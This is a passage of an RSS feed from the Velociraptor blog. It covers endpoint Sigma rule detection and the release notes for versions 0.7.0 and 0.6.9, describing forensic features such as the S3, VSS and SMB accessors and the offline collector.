class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;detecting_all_rules.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Detecting all rules in all levels&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Typically for this type of collection, I tend to apply most of the&#xA;rules because I can post process the hits later on the server, but you&#xA;might want to collect only critical rules at first to reduce the&#xA;amount of work the Velociraptor client needs to perform.&lt;/p&gt;&#xA;&lt;p&gt;Using Sigma rules for rapid triage is a particularly attractive&#xA;technique as shown above. Previously Velociraptor supported Sigma via&#xA;pushing and launching the Hayabusa tool to the endpoint, and&#xA;collecting the results from it.&lt;/p&gt;&#xA;&lt;p&gt;So what advantages are there for natively supporting Sigma withing&#xA;Velociraptor?&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;By supporting the rules natively, we can control execution more&#xA;closely. In particular, Velociraptor&amp;rsquo;s CPU and memory controls can&#xA;only work when Velociraptor itself is doing the work. By shelling&#xA;out to an external tool we have no control over how many resources&#xA;Hayabusa is using on the endpoint. Having Sigma as a built in&#xA;capability allows Velociraptor to limit CPU utilization in order to&#xA;minimize the impact on the endpoint.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Velociraptor is much more efficient than Hayabusa. Typically&#xA;Velociraptor can match the same number of rules approximately 5&#xA;times faster. However, the most important difference is the much&#xA;reduced memory requirements. In my testing, Hayabusa typically uses&#xA;about 1-2Gb of memory on the endpoint vs. about 200-300mb used by&#xA;Velociraptor, making Hayabusa too risky to deploy very widely.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;img class=&#34;inline&#34;&#xA;     src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-sigma_in_velociraptor/resource_consumption.png&#34;&#xA;     width=&#34;990&#34;&#xA;     height=&#34;160&#34;/&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h1 id=&#34;sigma-alerting-via-real-time-monitoring-artifacts&#34;&gt;Sigma alerting via real time monitoring artifacts&lt;/h1&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s VQL queries are streaming queries. This means they&#xA;deliver rows as soon as they become available, while the query itself&#xA;does not have to terminate. This facility is called &lt;a href=&#34;https://www.velociraptor-docs.org/docs/clients/monitoring/&#34;&gt;&lt;code&gt;Client Monitoring&lt;/code&gt; or &lt;code&gt;Event&lt;/code&gt;&#xA;queries&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Since the built-in Sigma matching engine is also streaming and&#xA;asynchronous, it is also possible to use event queries for log&#xA;sources.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;Velociraptor Hayabusa Live Detection&lt;/code&gt; option in the Curated&#xA;import artifact will import an event monitoring version of the same&#xA;curated Sigma rules. I can configure the artifact in the usual way.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-sigma_in_velociraptor//blog/2023/2023-11-15-sigma_in_velociraptor/configuring_monitoring.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Configuring the Monitoring Sigma detection artifact&#34;&#xA;         width=&#34;1251&#34; height=&#34;611&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;configuring_monitoring.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Configuring the Monitoring Sigma detection artifact&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This time the endpoint will forward detection events to the server in&#xA;real time.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-sigma_in_velociraptor//blog/2023/2023-11-15-sigma_in_velociraptor/live_sigma_detection.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Live detection of Sigma rules&#34;&#xA;         width=&#34;2126&#34; height=&#34;677&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;live_sigma_detection.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Live detection of Sigma rules&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the above I can see immediately suspicious use of &lt;code&gt;PSExec&lt;/code&gt; in real&#xA;time!&lt;/p&gt;&#xA;&lt;h1 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h1&gt;&#xA;&lt;p&gt;While Sigma itself is not a matching engine, it presents a convenient&#xA;abstraction over other matching engines. Integrating a Sigma matching&#xA;engine within Velociraptor allows users to add easy to read and&#xA;maintainable rules specifically designed for detection. The built in&#xA;Sigma matching engine is extremely fast while being built on top of&#xA;VQL.&lt;/p&gt;&#xA;&lt;p&gt;This makes is flexible - it is possible to add arbitrary logs sources&#xA;from any VQL query. For example log sources based on ETW are already&#xA;in the works. This engine can efficiently match thousands of rules on&#xA;the endpoint, either in real time, or from historical sources.&lt;/p&gt;&#xA;&lt;p&gt;Sigma presents a lot of opportunities to extend the detection&#xA;capabilities when running directly on the endpoint. Unlike using Sigma&#xA;as an interface to a SIEM where we are really at the mercy of the log&#xA;sources and fields that are forwarded by the collection agent and the&#xA;SIEM, Sigma rules on the endpoint can refer to any log source - be it&#xA;an event log or other more traditional sources of evidence, such as&#xA;Volatile information like process information, registry keys or&#xA;networking information.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor 0.7.0 Release</title>
      <link>https://www.velociraptor-docs.org/blog/2023/2023-07-27-release-notes-0.7.0/</link>
      <pubDate>Thu, 27 Jul 2023 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2023/2023-07-27-release-notes-0.7.0/</guid>
      <description>&lt;p&gt;I am very excited to announce the latest Velociraptor release 0.7.0 is&#xA;now released.&lt;/p&gt;&#xA;&lt;p&gt;In this post I will discuss some of the interesting new features.&lt;/p&gt;&#xA;&lt;h2 id=&#34;gui-improvements&#34;&gt;GUI improvements&lt;/h2&gt;&#xA;&lt;p&gt;The GUI was updated in this release to improve user workflow and accessibility.&lt;/p&gt;&#xA;&lt;h3 id=&#34;enhanced-client-search&#34;&gt;Enhanced client search&lt;/h3&gt;&#xA;&lt;p&gt;In previous versions client information was written to the datastore&#xA;in individual files (one file per client record). This works ok as&#xA;long as the number of clients is not too large and the filesystem is&#xA;fast. As users are now deploying Velociraptor with larger deployment&#xA;sizes we were seeing some slow downs when the number of clients&#xA;exceeded 50k.&lt;/p&gt;&#xA;&lt;p&gt;In this release the client index was rewritten to store all client&#xA;records in a single snapshot file, while managing this file in&#xA;memory. This approach allows client searching to be extremely quick&#xA;even for large numbers of clients well over 100k.&lt;/p&gt;&#xA;&lt;p&gt;Additionally we are now able to display the total number of hits in&#xA;each search giving a more comprehensive indication of the total number&#xA;of clients.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-07-27-release-notes-0.7.0//blog/2023/2023-07-27-release-notes-0.7.0/client_search.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1169&#34; height=&#34;476&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;client_search.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;paged-table-in-flows-list&#34;&gt;Paged table in Flows List&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s collections view shows the list of collections from the&#xA;endpoint (or the server). Previously the GUI limited this view to 100&#xA;previous collections. This means that for heavily collected clients&#xA;it was impossible to view older collections (without custom VQL).&lt;/p&gt;&#xA;&lt;p&gt;In this release the GUI was updated to include a paged table (with&#xA;suitable filtering and sorting capabilities) so all collections can be&#xA;accessed.&lt;/p&gt;&#xA;&lt;h2 id=&#34;vql-plugins-and-artifacts&#34;&gt;VQL Plugins and artifacts&lt;/h2&gt;&#xA;&lt;h3 id=&#34;chrome-artifacts&#34;&gt;Chrome artifacts&lt;/h3&gt;&#xA;&lt;p&gt;Added a leveldb parser and artifacts around Chrome Session&#xA;Storage. This allows to analyse data that is stored by Chrome locally&#xA;by various web apps.&lt;/p&gt;&#xA;&lt;h3 id=&#34;lnk-forensics&#34;&gt;Lnk forensics&lt;/h3&gt;&#xA;&lt;p&gt;This release added a more comprehensive Lnk parser covering off on all&#xA;known Lnk file features.  You can access the Lnk file analysis using&#xA;the `Windows.Forensics.Lnk artifact.&lt;/p&gt;&#xA;&lt;h3 id=&#34;direct-s3-accessor&#34;&gt;Direct S3 accessor&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s accessors provide a way to apply the many plugins that&#xA;operate on files to other domains. In particular the glob() plugin&#xA;allows searching the accessors for filename patterns.&lt;/p&gt;&#xA;&lt;p&gt;In this release Velociraptor adds an S3 accessor. This allows plugins&#xA;to directly operate on S3 buckets. In particular the glob() plugin can&#xA;be used to query bucket contents and read files from various&#xA;buckets. This capability opens the door for sophisticated automation&#xA;around S3 buckets.&lt;/p&gt;&#xA;&lt;h3 id=&#34;volume-shadow-copies-analysis&#34;&gt;Volume Shadow Copies analysis&lt;/h3&gt;&#xA;&lt;p&gt;Window&amp;rsquo;s Volume Shadow Service (VSS) creates a snapshot of the drive at&#xA;a point in time. Forensically, this is sometimes very helpful as it&#xA;captures a point in time view of the previous disk state (If the VSS&#xA;are still around when we perform our analysis).&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor provides access to the different VSS volumes via the&#xA;&lt;code&gt;ntfs&lt;/code&gt; accessor, and many artifacts previously provided the ability to&#xA;report files that differed between VSS snapshots.&lt;/p&gt;&#xA;&lt;p&gt;In the 0.7.0 release, Velociraptor adds the &lt;code&gt;ntfs_vss&lt;/code&gt; accessor. This&#xA;accessor automatically considers different snapshots and deduplicates&#xA;files that are identical in different snapshots. This makes it much&#xA;easier to incorporate VSS analysis into your artifacts.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-sqlitehunter-project&#34;&gt;The SQLiteHunter project&lt;/h3&gt;&#xA;&lt;p&gt;Many artifacts consist of parsing SQLite files. For example major&#xA;browsers use SQLite files heavily.&lt;/p&gt;&#xA;&lt;p&gt;This release incorporates the SQLiteHunter artifact. A one stop shop&#xA;for finding and analyzing SQLite files such as browser artifacts and&#xA;OS internal files. Although the project started with SQLite files, it&#xA;now automates a lot of artifacts such as &lt;code&gt;WebCacheV01&lt;/code&gt; parsing and the&#xA;Windows Search Service - aka &lt;code&gt;Windows.edb&lt;/code&gt; (which are &lt;code&gt;ESE&lt;/code&gt; based&#xA;parsers).&lt;/p&gt;&#xA;&lt;p&gt;This one artifact combines and obsoletes many distinct older&#xA;artifacts.&lt;/p&gt;&#xA;&lt;p&gt;More info at &lt;a href=&#34;https://github.com/Velocidex/SQLiteHunter&#34; target=&#34;_blank&#34; &gt;https://github.com/Velocidex/SQLiteHunter&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;glob-plugin-improvements&#34;&gt;Glob plugin improvements&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;code&gt;glob()&lt;/code&gt; plugin is probably the most used plugin in VQL, as it&#xA;allows for the efficient search of filenames in the filesystem. While&#xA;the glob() plugin can accept a list of glob expressions so the&#xA;filesystem walk can be optimized as much as possible, it was&#xA;previously difficult to know why a particular reported file was&#xA;chosen.&lt;/p&gt;&#xA;&lt;p&gt;In this release, the glob plugin reports the list of glob expressions&#xA;that caused the match to be reported. This allows callers to more&#xA;easily combine several file searches into the same plugin call.&lt;/p&gt;&#xA;&lt;h3 id=&#34;url-style-paths&#34;&gt;URL style paths&lt;/h3&gt;&#xA;&lt;p&gt;In very old versions of Velociraptor nested paths could be represented&#xA;as URL objects. Until now a backwards compatible layer was used to&#xA;continue supporting this behavior. In the latest release URL style&#xA;paths are no longer supported - use the &lt;code&gt;pathspec()&lt;/code&gt; function to build&#xA;proper &lt;code&gt;OSPath&lt;/code&gt; objects.&lt;/p&gt;&#xA;&lt;h2 id=&#34;server-improvements&#34;&gt;Server improvements&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor offers automatic use of let&amp;rsquo;s encrypt&#xA;certificates. However, Let&amp;rsquo;s encrypt can only issue certificates for&#xA;port 443. This means that the frontend service (which is used to&#xA;communicate with clients) has to share the same port as the GUI port&#xA;(which is used to serve the GUI application). This makes it hard to&#xA;create firewall rules to filter access to the frontend and not to the&#xA;GUI when used in this configuration.&lt;/p&gt;&#xA;&lt;p&gt;In the 0.7.0 release, Velociraptor offers the &lt;code&gt;GUI.allowed_cidr&lt;/code&gt;&#xA;option. If specified, the list of CIDR addresses will specify the&#xA;source IP acceptable to the server for connections to the GUI&#xA;application (for example &lt;code&gt;192.168.1.0/24&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;This filtering only applies to the GUI and forms an additional layer&#xA;of security protecting the GUI application (in addition to the usual&#xA;authentication methods).&lt;/p&gt;&#xA;&lt;h3 id=&#34;better-handling-of-out-of-disk-errors&#34;&gt;Better handling of out of disk errors&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor can collect data very quickly and sometimes this can&#xA;results in a full disk. Previously a full disk error could cause file&#xA;corruption and data loss. In this release the server monitors its free&#xA;disk level and disables file writing when the disk is too full. This&#xA;avoids data corruption when the disk fills up. When space is freed the&#xA;server will automatically start writing again.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-offline-collector&#34;&gt;The offline collector&lt;/h2&gt;&#xA;&lt;p&gt;The offline collected is a pre-configured binary which can be used to&#xA;automatically collect any artifacts into a ZIP file and optionally&#xA;upload the file to a remote system like a cloud bucket or SMB share.&lt;/p&gt;&#xA;&lt;p&gt;Previously, Velociraptor would embed the configuration file into the&#xA;binary so it only needed to be executed (e.g. double clicked). While&#xA;this method is still supported on Windows, it turned out that on MacOS&#xA;this is no longer supported as binaries can not be modified after&#xA;build. Even on Windows, embedding the configuration will invalidate&#xA;the signature.&lt;/p&gt;&#xA;&lt;p&gt;In this release a new type of collector is available &lt;code&gt;Generic&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-07-27-release-notes-0.7.0//blog/2023/2023-07-27-release-notes-0.7.0/generic_collector.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;888&#34; height=&#34;317&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;generic_collector.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This will embed the configuration into a shell script instead of the&#xA;Velociraptor binary. Users can then launch the offline collector using&#xA;the unmodified official binary by specifying the &lt;code&gt;--embedded_config&lt;/code&gt;&#xA;flag:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;velociraptor-v0.7.0-windows-amd64.exe -- --embedded_config Collector_velociraptor-collector&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-07-27-release-notes-0.7.0//blog/2023/2023-07-27-release-notes-0.7.0/generic_collector_running.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1091&#34; height=&#34;256&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;generic_collector_running.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;While the method is required for MacOS, it can also be used for&#xA;Windows in order to preserve the binary signature.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;There are many more new features and bug fixes in the latest&#xA;release.&lt;/p&gt;&#xA;&lt;p&gt;If you like the new features, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is available&#xA;on GitHub under an open source license. As always please file issues&#xA;on the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor 0.6.9 Release</title>
      <link>https://www.velociraptor-docs.org/blog/2023/2023-05-05-release-notes-0.6.9/</link>
      <pubDate>Fri, 05 May 2023 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2023/2023-05-05-release-notes-0.6.9/</guid>
      <description>&lt;p&gt;I am very excited to announce the latest Velociraptor release 0.6.9 is&#xA;now LIVE and available for download. This release has&#xA;been in the making for a few months now and has a lot of new features&#xA;and bug fixes.&lt;/p&gt;&#xA;&lt;p&gt;In this post I will discuss some of the interesting new features.&lt;/p&gt;&#xA;&lt;h2 id=&#34;gui-improvements&#34;&gt;GUI improvements&lt;/h2&gt;&#xA;&lt;p&gt;The GUI was updated in this release to improve user workflow and accessibility.&lt;/p&gt;&#xA;&lt;h3 id=&#34;table-filtering-and-sorting&#34;&gt;Table filtering and sorting&lt;/h3&gt;&#xA;&lt;p&gt;Previously, table filtering and sorting required a separate dialog. In&#xA;this release the filtering controls were moved to the header of each&#xA;column making it more natural to use.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-05-05-release-notes-0.6.9//blog/2023/2023-05-05-release-notes-0.6.9/filtering_tables.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Filtering tables.&#34;&#xA;         width=&#34;1314&#34; height=&#34;551&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;filtering_tables.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Filtering tables.&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;vfs-gui-improvements&#34;&gt;VFS GUI improvements&lt;/h3&gt;&#xA;&lt;p&gt;The VFS UI allows the user to collect files from the endpoint in a&#xA;familiar tree based user interface. In previous versions it was only&#xA;possible to schedule a single download at a time. This proved&#xA;problematic when the client was offline or transferring a large file&#xA;because the user had no way to kick off the next download until the&#xA;first file was fully fetched.&lt;/p&gt;&#xA;&lt;p&gt;In this release the GUI was revamped to support multiple file&#xA;downloads at the same time. Additionally it is now possible to&#xA;schedule a file download by right clicking the download column in the&#xA;file table and selecting &amp;ldquo;Download from client&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-05-05-release-notes-0.6.9//blog/2023/2023-05-05-release-notes-0.6.9/downloading_file.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Initiating file download in the VFS. Note multiple files can be scheduled at the same time, and the bottom details pane can be closed&#34;&#xA;         width=&#34;1000&#34; height=&#34;419&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;downloading_file.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Initiating file download in the VFS. Note multiple files can be scheduled at the same time, and the bottom details pane can be closed&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;hex-viewer-and-file-previewer-gui&#34;&gt;Hex viewer and file previewer GUI&lt;/h3&gt;&#xA;&lt;p&gt;In release 0.6.9 a new hex viewer was introduced. This viewer makes it&#xA;possible to quickly triage uploaded files from the GUI itself,&#xA;implementing some common features:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The file can be viewed as a hex dump or a strings style output.&lt;/li&gt;&#xA;&lt;li&gt;The viewer can go to an arbitrary offset within the file, or page&#xA;forward or backwards.&lt;/li&gt;&#xA;&lt;li&gt;The viewer can search forward or backwards in the file for a&#xA;&lt;code&gt;Regular Expression&lt;/code&gt;, &lt;code&gt;String&lt;/code&gt;, or a &lt;code&gt;Hex String&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The hex viewer previewer is available for artifacts that define a&#xA;column of type &lt;code&gt;preview_uploads&lt;/code&gt; including the &lt;code&gt;File Upload&lt;/code&gt; table&#xA;within the flow GUI.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-05-05-release-notes-0.6.9//blog/2023/2023-05-05-release-notes-0.6.9/hex_viewer.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;The hex viewer UI can be used to quickly inspect an uploaded file&#34;&#xA;         width=&#34;1495&#34; height=&#34;839&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;hex_viewer.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The hex viewer UI can be used to quickly inspect an uploaded file&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;artifact-pack-import-gui-improvements&#34;&gt;Artifact pack import GUI improvements&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor allows uploading an &lt;code&gt;artifact pack&lt;/code&gt; - a simple Zip file&#xA;containing artifact definitions. For example, the artifact exchange is&#xA;simply a zip file with artifact definitions.&lt;/p&gt;&#xA;&lt;p&gt;Previously artifact packs could only be uploaded in their entirety and&#xA;always had an &amp;ldquo;Exchange&amp;rdquo; prefix prepended. However in this release the&#xA;UI was revamped to allow only some artifacts to be imported from the&#xA;pack and customize the prefix.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-05-05-release-notes-0.6.9//blog/2023/2023-05-05-release-notes-0.6.9/import_pack.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;It is now possible to import only some of the artifacts in a pack&#34;&#xA;         width=&#34;1853&#34; height=&#34;737&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;import_pack.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    It is now possible to import only some of the artifacts in a pack&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;direct-smb-support&#34;&gt;Direct SMB support&lt;/h2&gt;&#xA;&lt;p&gt;Windows file sharing is implemented over the SMB protocol. Within the&#xA;OS, accessing remote file shares happens transparently, for example by&#xA;mapping the remote share to a drive using &lt;code&gt;net use&lt;/code&gt; command or&#xA;accessing a file name starting with a UNC path&#xA;(e.g. &lt;code&gt;\\ServerName\Share\File.exe&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;While Velociraptor can technically also access UNC shares by using the&#xA;usual file APIs and providing a UNC path, in reality this does not&#xA;work because Velociraptor is running as the local &lt;code&gt;System&lt;/code&gt; user which&#xA;normally does not have network credentials so it can not map remote&#xA;shares.&lt;/p&gt;&#xA;&lt;p&gt;This limitation is problematic because sometimes we need to access&#xA;remote shares (e.g. to verify hashes, perform yara scans etc). Until&#xA;this release the only workaround for this limitation was to install&#xA;the Velociraptor user as a domain user account with credentials.&lt;/p&gt;&#xA;&lt;p&gt;As of the 0.6.9 release SMB is supported directly within the&#xA;Velociraptor binary as an accessor. This means that all plugins that&#xA;normally operate on files can also operate on a remote SMB share&#xA;transparently. Velociraptor does not rely on the OS to provide&#xA;credentials to the remote share, instead credentials can be passed&#xA;directly to the &lt;code&gt;smb&lt;/code&gt; accessor to access the relevant &lt;code&gt;smb&lt;/code&gt; server.&lt;/p&gt;&#xA;&lt;p&gt;The new accessor can be used in any VQL that needs to use a file, but&#xA;to make it easier there is a new artifact called the&#xA;&lt;code&gt;Windows.Search.SMBFileFinder&lt;/code&gt; artifact that allows for flexible file&#xA;searches on an SMB share.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-05-05-release-notes-0.6.9//blog/2023/2023-05-05-release-notes-0.6.9/smb_file_search.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Searching a remote SMB share&#34;&#xA;         width=&#34;1251&#34; height=&#34;641&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       